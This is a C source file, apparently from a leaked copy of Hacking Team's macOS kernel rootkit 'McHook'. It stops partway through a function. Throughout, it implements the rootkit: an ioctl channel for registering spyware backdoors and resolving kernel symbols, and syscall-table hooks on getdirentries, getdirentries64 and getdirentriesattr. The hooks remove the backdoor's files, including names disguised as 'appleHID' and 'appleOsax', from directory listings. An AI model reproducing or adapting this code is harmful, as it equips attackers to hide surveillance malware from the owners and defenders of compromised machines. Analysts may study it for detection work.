hackedteam/driver-macos

View on GitHub
mchook.c

Summary

Maintainability
Test Coverage
/*
 * McHook, mchook.c
 *  OS X KSpace Rootkit
 * 
 * [Features]
 * x sysent hooking for bsd syscalls
 * x mach_trap_table hooking for mach traps
 * x process hiding
 *    x uspace->kspace proc hiding handler (kill)
 * x kext hiding
 * x filesystem hiding
 *    x uspace->kspace communication channel (ioctl)
 * x Data structures keeping track of USpace Backdoor(s) pid
 *   and Path(s)/Filename(s)
 *
 *
 * Created by revenge on 20/03/2009
 * Copyright (C) HT srl 2009. All rights reserved
 *
 */

#include <mach/mach_types.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/dirent.h>
#include <sys/conf.h>
#include <sys/attr.h>

#include <AvailabilityMacros.h>
#include <sys/ioctl.h>
#include <miscfs/devfs/devfs.h>

#include <stdint.h>

#include "mchook.h"

#pragma mark -
#pragma mark Global define(s)
#pragma mark -

#define MK_MBUF       1
#define PLENGTH       6

#define IM            "appleHID"
#define OSAX          "appleOsax"
#define KERNEL_BASE   0xffffff8000200000 // SL 10.6.4

//#define DEBUG

#pragma mark -
#pragma mark Global variables
#pragma mark -

static reg_backdoors_t *g_reg_backdoors[MAX_BACKDOOR_ENTRIES];
static exclusion_list_t g_exclusion_list[2] = {
  "launchd", 1,
  "launchctl", 1,
};

static int g_process_excluded = 2;
static int g_kext_hidden      = 0;

// Holding current kmod entry pointer
//static kmod_info_t *currentK;

// Holding the uspace backdoor count
static int g_registered_backdoors = 0;

// BSD IOCTL stuff
static int major              = -1;
static void *devfs_handle     = 0;

static int g_os_major         = 0;
static int g_os_minor         = 0;
static int g_os_bugfix        = 0;

static int g_symbols_resolved = 0;

// Character device switch table
static struct cdevsw chardev = {
  cdev_open,  // open
  cdev_close, // close
  eno_rdwrt,  // read
  eno_rdwrt,  // write
  cdev_ioctl, // ioctl
  eno_stop,   // stop
  eno_reset,  // reset
  0,          // ttys
  eno_select, // select
  eno_mmap,   // mmap
  eno_strat,  // strategy
  eno_getc,   // getc
  eno_putc,   // putc
  0           // type
};

#pragma mark -
#pragma mark Main IOCTL Functions
#pragma mark -

static int cdev_open(dev_t dev, int flags, int devtype, struct proc *p) {
  return 0;
}

static int cdev_close(dev_t dev, int flags, int devtype, struct proc *p) {
  return 0;
}

static int cdev_ioctl(dev_t dev,
                      u_long cmd,
                      caddr_t data,
                      int fflag,
                      struct proc *p)
{
  int error   = 0;
  char username[MAX_USER_SIZE];
  
  switch (cmd) {
    case MCHOOK_INIT: {
      if (data) {
        strncpy(username, (char *)data, MAX_USER_SIZE);
#ifdef DEBUG
        printf("[MCHOOK] Init for user %s with pid %d\n", username, p->p_pid);
#endif
        if (backdoor_init(username, p) == FALSE) {
#ifdef DEBUG
          printf("[MCHOOK] Error on init\n");
#endif
        }
      }
    } break;
    case MCHOOK_HIDEK: {
#ifdef DEBUG
      printf("[MCHOOK] MCHOOK_HIDEK called\n");
#endif
      
      if (g_symbols_resolved == 1) {        
        if (g_os_major == 10 && g_os_minor > 5) {
          hide_kext_osarray();
          //hide_kext_leopard();
        }
        else {
#ifdef DEBUG
          printf("[MCHOOK] KEXT hiding not supported yet\n");
#endif
        }
      }
      else {
#ifdef DEBUG
        printf("[MCHOOK] Error, symbols not correctly resolved\n");
#endif
      }
    } break;
    case MCHOOK_HIDEP: {
#ifdef DEBUG
      printf("[MCHOOK] MCHOOK_HIDEP called\n");
#endif
      
      if (data && g_symbols_resolved == 1) {
        strncpy(username, (char *)data, MAX_USER_SIZE);
#ifdef DEBUG
        pid_t pid = p->p_pid;
        printf("[MCHOOK] Hiding PID: %d\n", pid);
#endif
        
        int backdoor_index = 0;
        
        if ((backdoor_index = get_active_bd_index(username, p->p_pid)) == -1) {
#ifdef DEBUG
          printf("[MCHOOK] ERR: get_active_bd_index returned -1 in HIDEP\n");
#endif
          return error;
        }
        
        if (g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) {
#ifdef DEBUG
          printf("[MCHOOK] ERR: Backdoor is already hidden\n");
#endif
          return error;
        }
        
        if (hide_proc(p, username, backdoor_index) == -1) {
#ifdef DEBUG
          printf("[MCHOOK] hide_proc failed\n");
#endif
        }
      }
    } break;
    case MCHOOK_HIDED: {
#ifdef DEBUG
      printf("[MCHOOK] MCHOOK_HIDED called\n");
#endif
      if (data) {
        char dirName[MAX_DIRNAME_SIZE];
        strncpy(dirName, (char *)data, MAX_DIRNAME_SIZE);
        add_dir_to_hide(dirName, p->p_pid);
      }
    } break;
    case MCHOOK_UNREGISTER: {
#ifdef DEBUG
      printf("[MCHOOK] MCHOOK_UNREGISTER called (%lu)\n", cmd);
#endif
      if (data && g_symbols_resolved == 1) {
        strncpy(username, (char *)data, MAX_USER_SIZE);
        
#ifdef DEBUG
        printf("[MCHOOK] Unregister for user: %s\n", username);
        printf("[MCHOOK] backdoorCounter: %d\n", g_registered_backdoors);
#endif
        
#if 0
        //
        // g_backdoor_current could get messed up (e.g. 2 backdoors on the same machine
        // one gets uninstalled, the other is still active but there's no way
        // for it to be referenced by g_backdoor_current, thus we call get_active_bd_index
        //
        if (g_backdoor_current == -1) {
          if ((g_backdoor_current = get_active_bd_index(p, username)) == -1) {
#ifdef DEBUG
            printf("[MCHOOK] unregistering err - backdoor not registered?!!\n");
#endif
          }
        }
          
        if (g_backdoor_current != -1
            && g_reg_backdoors[g_backdoor_current]->isProcHidden == 1) {
#ifdef DEBUG
          printf("[MCHOOK] Re-linking process %d\n", p->p_pid);
#endif
        
          unhide_proc(p);
        }
#endif
        
        int backdoor_index;
        if ((backdoor_index = get_active_bd_index(username, p->p_pid)) == -1) {
#ifdef DEBUG
          printf("[MCHOOK] ERR: get_active_bd_index returned -1 in UNREGISTER\n");
#endif
          
          return error;
        }
        
        if (g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) {
#ifdef DEBUG
          printf("[MCHOOK] Backdoor is hidden, unhiding\n");
#endif
          unhide_proc(p, backdoor_index);
        }
        
        //g_backdoor_current = -1;
        dealloc_meh(username, p->p_pid);
        
        if (g_registered_backdoors == 0) {
#ifdef DEBUG
          printf("[MCHOOK] No more backdoor left, unhooking\n");
#endif
          remove_hooks();
        }
      }
    } break;
    case MCHOOK_GET_ACTIVES: {
      *data = g_registered_backdoors;
    } break;
#if __LP64__ || NS_BUILD_32_LIKE_64
    case MCHOOK_SOLVE_SYM_64: {
#ifdef DEBUG
      printf("[MCHOOK] MCHOOK_SOLVE_SYM_64\n");
#endif
      
      symbol64_t *syms = (symbol64_t *)data;
      
#ifdef DEBUG
      printf("[MCHOOK] hash    : 0x%llx\n", syms->hash);
      printf("[MCHOOK] address : 0x%llx\n", syms->address);
#endif
      
      if (g_symbols_resolved == 1)
        return error;
      
      switch (syms->hash) {
        case KMOD_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] kmod symbol received\n");
#endif
          i_kmod = (kmod_info_t *)syms->address;
        } break;
        case NSYSENT_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] nsysent symbol received\n");
#endif
          i_nsysent = (int *)syms->address;
#ifdef DEBUG
          printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent);
#endif
        } break;
        case TASKS_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] tasks symbol received\n");
#endif
          i_tasks = (queue_head_t *)syms->address;
        } break;
        case ALLPROC_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] allproc symbol received\n");
#endif
          i_allproc = (struct proclist *)syms->address;
        } break;
        case TASKS_COUNT_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] tasks_count symbol received\n");
#endif
          i_tasks_count = (int *)syms->address;
        } break;
        case NPROCS_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] nprocs symbol received\n");
#endif
          i_nprocs = (int *)syms->address;
        } break;
        case TASKS_THREADS_LOCK_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] tasks_threads_lock symbol received\n");
#endif
          i_tasks_threads_lock = (lck_mtx_t *)syms->address;
        } break;
        case PROC_LOCK_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] proc_lock symbol received\n");
#endif
          i_proc_lock = (void *)syms->address;
        } break;
        case PROC_UNLOCK_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] proc_unlock symbol received\n");
#endif
          i_proc_unlock = (void *)syms->address;
        } break;
        case PROC_LIST_LOCK_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] proc_list_lock symbol received\n");
#endif
          i_proc_list_lock = (void *)syms->address;
        } break;
        case PROC_LIST_UNLOCK_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] proc_list_unlock symbol received\n");
#endif
          i_proc_list_unlock = (void *)syms->address;
        } break;
        
        case KEXT_LOOKUP_WITH_TAG: {
#ifdef DEBUG
          printf("[MCHOOK] kext_lookup_with_tag symbol received\n");
#endif
          kext_lookup_with_tag = (int *)syms->address;
        } break;
        case IO_RECURSIVE_LOCK: {
#ifdef DEBUG
          printf("[MCHOOK] io_recursive_log symbol received\n");
#endif
          io_recursive_log = (int *)syms->address;
        } break; 
        default: {
#ifdef DEBUG
          printf("[MCHOOK] symbol not supported yet\n");
#endif
        } break;
      }
    } break;
#else
    case MCHOOK_SOLVE_SYM_32: {
#ifdef DEBUG
      printf("[MCHOOK] MCHOOK_SOLVE_SYM_32\n");
#endif
      
      symbol32_t *syms = (symbol32_t *)data;
      
#ifdef DEBUG
      printf("[MCHOOK] hash    : 0x%x\n", syms->hash);
      printf("[MCHOOK] address : 0x%x\n", syms->address);
#endif
      if (g_symbols_resolved == 1)
        return error;

      switch (syms->hash) {
        case KMOD_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] kmod symbol received\n");
#endif
          i_kmod = (kmod_info_t *)syms->address;
        } break;
        case NSYSENT_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] nsysent symbol received\n");
#endif
          i_nsysent = (int *)syms->address;
#ifdef DEBUG
          printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent);
#endif
        } break;
        case TASKS_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] tasks symbol received\n");
#endif
          i_tasks = (queue_head_t *)syms->address;
        } break;
        case ALLPROC_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] allproc symbol received\n");
#endif
          i_allproc = (struct proclist *)syms->address;
        } break;
        case TASKS_COUNT_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] tasks_count symbol received\n");
#endif
          i_tasks_count = (int *)syms->address;
        } break;
        case NPROCS_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] nprocs symbol received\n");
#endif
          i_nprocs = (int *)syms->address;
        } break;
        case TASKS_THREADS_LOCK_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] tasks_threads_lock symbol received\n");
#endif
          i_tasks_threads_lock = (lck_mtx_t *)syms->address;
        } break;
        case PROC_LOCK_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] proc_lock symbol received\n");
#endif
          i_proc_lock = (void *)syms->address;
        } break;
        case PROC_UNLOCK_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] proc_unlock symbol received\n");
#endif
          i_proc_unlock = (void *)syms->address;
        } break;
        case PROC_LIST_LOCK_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] proc_list_lock symbol received\n");
#endif
          i_proc_list_lock = (void *)syms->address;
        } break;
        case PROC_LIST_UNLOCK_HASH: {
#ifdef DEBUG
          printf("[MCHOOK] proc_list_unlock symbol received\n");
#endif
          i_proc_list_unlock = (void *)syms->address;
        } break;
        case KEXT_LOOKUP_WITH_TAG: {
#ifdef DEBUG
          printf("[MCHOOK] kext_lookup_with_tag symbol received\n");
#endif
          kext_lookup_with_tag = (int *)syms->address;
        } break;
        case IO_RECURSIVE_LOCK: {
#ifdef DEBUG
          printf("[MCHOOK] io_recursive_log symbol received\n");
#endif
          io_recursive_log = (int *)syms->address;
        } break;
        default: {
#ifdef DEBUG
          printf("[MCHOOK] symbol not supported yet\n");
#endif
        } break;
      }
    } break;
#endif
    case MCHOOK_FIND_SYS: {
#ifdef DEBUG
      printf("[MCHOOK] MCHOOK_FIND_SYS called\n");
#endif
      
      if (data && check_symbols_integrity() == 1) {
#ifdef DEBUG
        printf("[MCHOOK] symbols resolved\n");
#endif
        os_version_t *os_ver = (os_version_t *)data;
        g_os_major  = os_ver->major;
        g_os_minor  = os_ver->minor;
        g_os_bugfix = os_ver->bugfix;
        
        // Find sysent table
        _sysent = find_sysent(os_ver);
        if (_sysent == NULL) {
#ifdef DEBUG
          printf("[MCHOOK] sysent not found\n");
#endif
        }
        else {
#ifdef DEBUG
          printf("[MCHOOK] All symbols were resolved and sysent found\n");
#endif
          place_hooks();
        }
      }
      else {
#ifdef DEBUG
        printf("[MCHOOK] No data or symbols not resolved (%d)\n", g_symbols_resolved);
#endif
      }
    } break;
    default: {
#ifdef DEBUG
      printf("[MCHOOK] Unknown command called dudeeeee: %lu\n", cmd);
#endif
      error = EINVAL;
    } break;
  }
  
  return error;
}

#pragma mark -
#pragma mark Hooks
#pragma mark -

int hook_getdirentries(struct proc *p,
                       struct mk_getdirentries_args *uap,
                       int *retval)
{
  struct dirent *tmp, *current;
  long size, count, length = 0;
  int flag = 0;
  int i_entry, i_path;
  
  real_getdirentries(p, uap, retval);
  size = retval[0];
  
  if (size > 0
      && check_for_process_exclusions(p->p_pid) == -1) {
    MALLOC(tmp, struct dirent *, size, MK_MBUF, M_WAITOK);
    copyin(uap->buf, tmp, size);
    
    count = size;
    current = (struct dirent *)(char *)tmp;
    
    while (count > 0) {
      length = current->d_reclen;
      count -= length;
      
      for (i_entry = 0; i_entry < g_registered_backdoors; i_entry++) {
        //
        // Enforce checks in order to avoid situation where all the files are hidden
        // from the disk since the g_reg_backdoors structure is inconsistent
        //
        if (g_reg_backdoors[i_entry]->is_active == 1) {
          for (i_path = 0; i_path < g_reg_backdoors[i_entry]->path_counter; i_path++) {
            if (strncmp(g_reg_backdoors[i_entry]->path[i_path], "",
                        strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0)
              continue;
            
            if (strncmp((char *)&(current->d_name),
                        g_reg_backdoors[i_entry]->path[i_path],
                        strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0) {
              if (count != 0) {
                // Remove the entry from buf
                memmove((char *)current, (char *)current + length, count);
                flag = 1;
              }
              // Adjust the size since we removed an entry
              size -= length;
              break;
            }
          }
        }
        
        if (flag)
          break;
      }
#if 0
      if (strncmp((char *)&(current->d_name), PREFIX, PLENGTH) == 0) {
        if (count != 0) {
          // Remove the entry from buf
          bcopy((char *)current + length, (char *)current, count - length);
          flag = 1;
        }
        // Adjust the size since we removed an entry
        size -= length;
      }
#endif
      // Last dir always has length of 0
      if (current->d_reclen == 0)
        count = 0;
      // Point to the next struct entry if we didn't remove anything
      if (count != 0 && flag == 0)
        current = (struct dirent *)((char *)current + length);
      flag = 0;
    }
    
    // Update the return size
    *retval = size;
    // Copy back to uspace the modified buffer
    copyout(tmp, uap->buf, size);
    FREE(tmp, MK_MBUF);
  }
  
  return(0);
}

int hook_getdirentries64(struct proc *p,
                         struct mk_getdirentries64_args *uap,
                         int *retval)
{
  void *tmp;
  struct direntry *current;
  long size, count, length = 0;
  int flag = 0;
  int i_entry, i_path;
  
  real_getdirentries64(p, uap, retval);
  size = retval[0];

  if (size > 0
      && check_for_process_exclusions(p->p_pid) == -1) {
    MALLOC(tmp, struct direntry *, size, MK_MBUF, M_WAITOK);
    copyin(uap->buf, tmp, size);

    count = size;
    current = (struct direntry *)(char *)tmp;
    
    while (count > 0) {
      length = current->d_reclen;
      count -= length;

      for (i_entry = 0; i_entry < g_registered_backdoors; i_entry++) {
        //
        // Enforce checks in order to avoid situation where all the files are hidden
        // from the disk since the g_reg_backdoors structure is inconsistent
        //
        if (g_reg_backdoors[i_entry]->is_active == 1) {
          for (i_path = 0; i_path < g_reg_backdoors[i_entry]->path_counter; i_path++) {
            if (strncmp(g_reg_backdoors[i_entry]->path[i_path], "",
                        strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0)
              continue;
            
            if (strncmp((char *)&(current->d_name),
                        g_reg_backdoors[i_entry]->path[i_path],
                        strlen(g_reg_backdoors[i_entry]->path[i_path])) == 0) {
              if (count != 0) {
                // Remove the entry from buf
                memmove((char *)current, (char *)current + length, count);
                flag = 1;
              }
              // Adjust the size since we removed an entry
              size -= length;
              break;
            }
          }            
        }
        
        if (flag)
          break;
      }
#if 0
      if (strncmp((char *)&(current->d_name), PREFIX, PLENGTH) == 0) {
        if (count != 0) {
          // Remove the entry from buf
          bcopy((char *)current + length, (char *)current, count - length);
          flag = 1;
        }
        // Adjust the size since we removed an entry
        size -= length;
      }
#endif
      // Last entry always has length of 0
      if (current->d_reclen == 0)
        count = 0;
      // Point to the next struct entry
      if (count != 0 && flag == 0)
        current = (struct direntry *)((char *)current + length);
      flag = 0;
    }
    
    // Update the return size
    *retval = size;
    // Copy back to uspace the modified buffer
    copyout(tmp, uap->buf, size);
    FREE(tmp, MK_MBUF);
  }

  return(0);
}

int hook_getdirentriesattr(struct proc *p,
                           struct mk_getdirentriesattr_args *uap,
                           int *retval)
{
  char procname[20];
  char *curr_entry = NULL;
  
  attr_list_t al;
  int success = 0;
  int flag = 0;
  int curr_backdoor, curr_path;
  int index = 0;
  
  u_int32_t count         = 0;
  u_int32_t entry_size    = 0;
  
  /*attribute_buffer_t *buf, *this_entry;*/
  FInfoAttrBuf *this_entry;
  char *buf;

  success = real_getdirentriesattr(p, uap, retval);
  proc_name(p->p_pid, procname, sizeof(procname));
  
#ifdef DEBUG_VERBOSE
  printf("p_start sec: %d for %s\n", (int)p->p_start.tv_sec, procname);
#endif
  
  if (check_for_process_exclusions(p->p_pid) == -1) {
#ifdef DEBUG_VERBOSE
    printf("getdirentriesattr called by %s\n", procname); 
    printf("ATTRLIST - %s commonattr %08x | volattr %08x | fileattr %08x | dirattr %08x | forkattr %08x | %sfollow\n",
           p->p_comm, al.commonattr, al.volattr, al.fileattr, al.dirattr, al.forkattr,
           (uap->options & FSOPT_NOFOLLOW) ? "no" : "");
    getAttributesForBitFields(al);
#endif
    
    copyin(uap->alist, (caddr_t)&al, sizeof(al));
    copyin(uap->count, (caddr_t)&count, sizeof(count));

#ifdef DEBUG_VERBOSE
    printf("bufferSize: %d\n", (int)uap->buffersize);
#endif
    
    /*MALLOC(buf, attribute_buffer_t *, uap->buffersize, MK_MBUF, M_WAITOK);*/
    MALLOC(buf, char *, uap->buffersize, MK_MBUF, M_WAITOK);
    copyin(uap->buffer, (caddr_t)buf, uap->buffersize);
    
    /*this_entry = (attribute_buffer_t *)(char *)buf;*/
    this_entry = (FInfoAttrBuf *)buf;
    
    int _tmp_size = uap->buffersize;
    index = count;
    
#ifdef DEBUG_VERBOSE
    printf("[MCHOOK] _tmp_size start : %d\n", _tmp_size);
    printf("[MCHOOK] index     start : %d\n", index);
#endif

    while (_tmp_size > 0 && index > 0) {
      entry_size = this_entry->length;
      curr_entry = (char *)&this_entry->name;
      curr_entry += this_entry->name.attr_dataoffset;

#ifdef DEBUG_VERBOSE
      printf("[MCHOOK] curr_entry st  : %llx\n", (unsigned long long)curr_entry);
      printf("[MCHOOK] data offset st : %x\n", this_entry->name.attr_dataoffset);
      printf("[MCHOOK] _tmp_size st   : %x\n", _tmp_size);
      printf("[MCHOOK] index st       : %d\n", index);
#endif

      if (this_entry->name.attr_dataoffset > 0) {
        for (curr_backdoor = 0; curr_backdoor < g_registered_backdoors; curr_backdoor++) {
          //
          // Enforce checks in order to avoid situation where all the files are hidden
          // from the disk since the g_reg_backdoors structure is inconsistent
          //
          if (g_reg_backdoors[curr_backdoor]->is_active == 1) {
            for (curr_path = 0;
                 curr_path < g_reg_backdoors[curr_backdoor]->path_counter;
                 curr_path++) {
#ifdef DEBUG_VERBOSE
              printf("[MCHOOK] curr_entry f  : %llx\n", (unsigned long long)curr_entry);
              printf("[MCHOOK] g_curr_entry f: %s\n", g_reg_backdoors[curr_backdoor]->path[curr_path]);
#endif
              if (strncmp(g_reg_backdoors[curr_backdoor]->path[curr_path],
                          "",
                          strlen(g_reg_backdoors[curr_backdoor]->path[curr_path])) == 0)
                continue;

              if (strncmp(curr_entry,
                          g_reg_backdoors[curr_backdoor]->path[curr_path],
                          strlen(g_reg_backdoors[curr_backdoor]->path[curr_path])) == 0) {
                if ((strncmp(curr_entry, IM, strlen(IM)) == 0)
                    || (strncmp(curr_entry, OSAX, strlen(OSAX)) == 0)) {
                  if (p->p_start.tv_sec == 0) {
#ifdef DEBUG
                    printf("Entry matched for %s (first time) - skipping\n", curr_entry);
#endif
                    p->p_start.tv_sec = 1;
                    continue;
                  }
                }
#ifdef DEBUG_VERBOSE
                printf("%s REQUESTED %s\n", procname, curr_entry);
#endif

                // Remove the entry from buf
                memmove((char *)this_entry,
                        (char *)((NSUInteger)this_entry + entry_size),
                        _tmp_size);
                flag = 1;

                // Adjust the counter since we removed an entry
                count--;

                break;
              }
            }
          }

          if (flag)
            break;
        }
      }
      else {
#ifdef DEBUG_VERBOSE
        printf("[MCHOOK] dataoffset is 0\n");
#endif
      }

      _tmp_size -= entry_size;
      index -= 1;
      
      // Advance to the next entry
      /*if (_tmp_size != 0 && flag == 0)*/
        /*this_entry = (attribute_buffer_t *)((NSUInteger)this_entry + entry_size);*/
      if (_tmp_size > 0 && flag == 0) {
        char *z = ((char *)this_entry) + entry_size;
        this_entry = (FInfoAttrBuf *)z;
      }
    }
    
    // Back to uspace
    copyout((caddr_t)buf, uap->buffer, uap->buffersize);
    copyout(&count, uap->count, sizeof(count));
    
    FREE(buf, MK_MBUF);
  }
  else {
#ifdef DEBUG
    printf("Process excluded from hiding: %s\n", procname);
#endif
  }
  
  return success;
}

#pragma mark -
#pragma mark General purpose functions
#pragma mark -

#ifdef DEBUG
void getAttributesForBitFields(attr_list_t al)
{
  // commonattr checks
  if (al.commonattr & ATTR_CMN_NAME)
    printf("ATTR_CMN_NAME\n");
  if (al.commonattr & ATTR_CMN_DEVID)
    printf("ATTR_CMN_DEVID\n");
  if (al.commonattr & ATTR_CMN_FSID)
    printf("ATTR_CMN_FSID\n");
  if (al.commonattr & ATTR_CMN_OBJTYPE)
    printf("ATTR_CMN_OBJTYPE\n");
  if (al.commonattr & ATTR_CMN_OBJTAG)
    printf("ATTR_CMN_OBJTAG\n");
  if (al.commonattr & ATTR_CMN_OBJID)
    printf("ATTR_CMN_OBJID\n");
  if (al.commonattr & ATTR_CMN_OBJPERMANENTID)
    printf("ATTR_CMN_OBJPERMANENTID\n");
  if (al.commonattr & ATTR_CMN_PAROBJID)
    printf("ATTR_CMN_PAROBJID\n");
  if (al.commonattr & ATTR_CMN_SCRIPT)
    printf("ATTR_CMN_SCRIPT\n");
  if (al.commonattr & ATTR_CMN_CRTIME)
    printf("ATTR_CMN_CRTIME\n");
  if (al.commonattr & ATTR_CMN_MODTIME)
    printf("ATTR_CMN_MODTIME\n");
  if (al.commonattr & ATTR_CMN_CHGTIME)
    printf("ATTR_CMN_CHGTIME\n");
  if (al.commonattr & ATTR_CMN_ACCTIME)
    printf("ATTR_CMN_ACCTIME\n");
  if (al.commonattr & ATTR_CMN_BKUPTIME)
    printf("ATTR_CMN_BKUPTIME\n");
  if (al.commonattr & ATTR_CMN_FNDRINFO)
    printf("ATTR_CMN_FNDRINFO\n");
  if (al.commonattr & ATTR_CMN_OWNERID)
    printf("ATTR_CMN_OWNERID\n");
  if (al.commonattr & ATTR_CMN_GRPID)
    printf("ATTR_CMN_GRPID\n");
  if (al.commonattr & ATTR_CMN_ACCESSMASK)
    printf("ATTR_CMN_ACCESSMASK\n");
  if (al.commonattr & ATTR_CMN_FLAGS)
    printf("ATTR_CMN_FLAGS\n");
  if (al.commonattr & ATTR_CMN_USERACCESS)
    printf("ATTR_CMN_USERACCESS\n");
  if (al.commonattr & ATTR_CMN_EXTENDED_SECURITY)
    printf("ATTR_CMN_EXTENDED_SECURITY\n");
  if (al.commonattr & ATTR_CMN_UUID)
    printf("ATTR_CMN_UUID\n");
  if (al.commonattr & ATTR_CMN_GRPUUID)
    printf("ATTR_CMN_GRPUUID\n");
  if (al.commonattr & ATTR_CMN_FILEID)
    printf("ATTR_CMN_FILEID\n");
  if (al.commonattr & ATTR_CMN_PARENTID)
    printf("ATTR_CMN_PARENTID\n");
  if (al.commonattr & ATTR_CMN_VALIDMASK)
    printf("ATTR_CMN_VALIDMASK\n");
  if (al.commonattr & ATTR_CMN_SETMASK)
    printf("ATTR_CMN_SETMASK\n");
  if (al.commonattr & ATTR_CMN_VOLSETMASK)
    printf("ATTR_CMN_VOLSETMASK\n");
  
  // volattr checks
  if (al.volattr & ATTR_VOL_FSTYPE)
    printf("ATTR_VOL_FSTYPE\n");
  if (al.volattr & ATTR_VOL_SIGNATURE)
    printf("ATTR_VOL_SIGNATURE\n");
  if (al.volattr & ATTR_VOL_SIZE)
    printf("ATTR_VOL_SIZE\n");
  if (al.volattr & ATTR_VOL_SPACEFREE)
    printf("ATTR_VOL_SPACEFREE\n");
  if (al.volattr & ATTR_VOL_SPACEAVAIL)
    printf("ATTR_VOL_SPACEAVAIL\n");
  if (al.volattr & ATTR_VOL_MINALLOCATION)
    printf("ATTR_VOL_MINALLOCATION\n");
  if (al.volattr & ATTR_VOL_ALLOCATIONCLUMP)
    printf("ATTR_VOL_ALLOCATIONCLUMP\n");
  if (al.volattr & ATTR_VOL_IOBLOCKSIZE)
    printf("ATTR_VOL_IOBLOCKSIZE\n");
  if (al.volattr & ATTR_VOL_OBJCOUNT)
    printf("ATTR_VOL_OBJCOUNT\n");
  if (al.volattr & ATTR_VOL_FILECOUNT)
    printf("ATTR_VOL_FILECOUNT\n");
  if (al.volattr & ATTR_VOL_DIRCOUNT)
    printf("ATTR_VOL_DIRCOUNT\n");
  if (al.volattr & ATTR_VOL_MAXOBJCOUNT)
    printf("ATTR_VOL_MAXOBJCOUNT\n");
  if (al.volattr & ATTR_VOL_MOUNTPOINT)
    printf("ATTR_VOL_MOUNTPOINT\n");
  if (al.volattr & ATTR_VOL_NAME)
    printf("ATTR_VOL_NAME\n");
  if (al.volattr & ATTR_VOL_MOUNTFLAGS)
    printf("ATTR_VOL_MOUNTFLAGS\n");
  if (al.volattr & ATTR_VOL_MOUNTEDDEVICE)
    printf("ATTR_VOL_MOUNTEDDEVICE\n");
  if (al.volattr & ATTR_VOL_ENCODINGSUSED)
    printf("ATTR_VOL_ENCODINGSUSED\n");
  if (al.volattr & ATTR_VOL_CAPABILITIES)
    printf("ATTR_VOL_CAPABILITIES\n");
  if (al.volattr & ATTR_VOL_ATTRIBUTES)
    printf("ATTR_VOL_ATTRIBUTES\n");
  if (al.volattr & ATTR_VOL_INFO)
    printf("ATTR_VOL_INFO\n");
  if (al.volattr & ATTR_VOL_VALIDMASK)
    printf("ATTR_VOL_VALIDMASK\n");
  if (al.volattr & ATTR_VOL_SETMASK)
    printf("ATTR_VOL_SETMASK\n");
  
  // dirattr checks
  if (al.dirattr & ATTR_DIR_ENTRYCOUNT)
    printf("ATTR_DIR_ENTRYCOUNT\n");
  if (al.dirattr & ATTR_DIR_LINKCOUNT)
    printf("ATTR_DIR_LINKCOUNT\n");
}
#endif

int check_for_process_exclusions(pid_t pid)
{
  char procname[20];
  int i = 0;
  
  proc_name(pid, procname, sizeof(procname));
  
  for (i = 0; i < g_process_excluded; i ++) {
    if (strncmp(procname, g_exclusion_list[i].processname, MAX_USER_SIZE) == 0
        && g_exclusion_list[i].is_active == 1) {
#ifdef DEBUG
      printf("[MCHOOK] Exclusion matched for %s\n", procname);
#endif
      return 1;
    }
  }
  
  return -1;
}

void place_hooks()
{
  if (fl_getdire64 == 0) {
    real_getdirentries64 = (getdirentries64_func_t *)_sysent[SYS_getdirentries64].sy_call;
    _sysent[SYS_getdirentries64].sy_call = (sy_call_t *)hook_getdirentries64;
    fl_getdire64 = 1;
  }

  if (fl_getdire == 0) {
    real_getdirentries = (getdirentries_func_t *)_sysent[SYS_getdirentries].sy_call;
    _sysent[SYS_getdirentries].sy_call = (sy_call_t *)hook_getdirentries;
    fl_getdire = 1;
  }
  
  if (fl_getdirentriesattr == 0) {
    real_getdirentriesattr = (getdirentriesattr_func_t *)_sysent[SYS_getdirentriesattr].sy_call;
    _sysent[SYS_getdirentriesattr].sy_call = (sy_call_t *)hook_getdirentriesattr;
    fl_getdirentriesattr = 1;
  }
  
#ifdef DEBUG
  printf("[MCHOOK] Hooks in place\n");
#endif
}

void remove_hooks()
{
  if (fl_getdire64) {
    _sysent[SYS_getdirentries64].sy_call = (sy_call_t *)real_getdirentries64;
    fl_getdire64 = 0;
  }
  
  if (fl_getdire) {
    _sysent[SYS_getdirentries].sy_call = (sy_call_t *)real_getdirentries;
    fl_getdire = 0;
  }
  
  if (fl_getdirentriesattr) {
    _sysent[SYS_getdirentriesattr].sy_call = (sy_call_t *)real_getdirentriesattr;
    fl_getdirentriesattr = 0;
  }
}

void add_dir_to_hide(char *dirname, pid_t pid)
{
  int i = 0;
  int z = 0;
  
#ifdef DEBUG
  printf("[MCHOOK] Hiding (%s) for pid (%d)\n", dirname, pid);
#endif
  
  for (i = 0; i < g_registered_backdoors; i++) {
    if (g_reg_backdoors[i]->p->p_pid      == pid
        && g_reg_backdoors[i]->is_active  == 1) {
      for (z = 0; z < g_reg_backdoors[i]->path_counter; z ++) {
        if (strncmp(dirname, g_reg_backdoors[i]->path[z], MAX_DIRNAME_SIZE) == 0) {
#ifdef DEBUG
          printf("[MCHOOK] Path already registered (%s)!\n", dirname);
#endif
                  
          return;
        }
      }
      
      int pcounter = g_reg_backdoors[i]->path_counter;
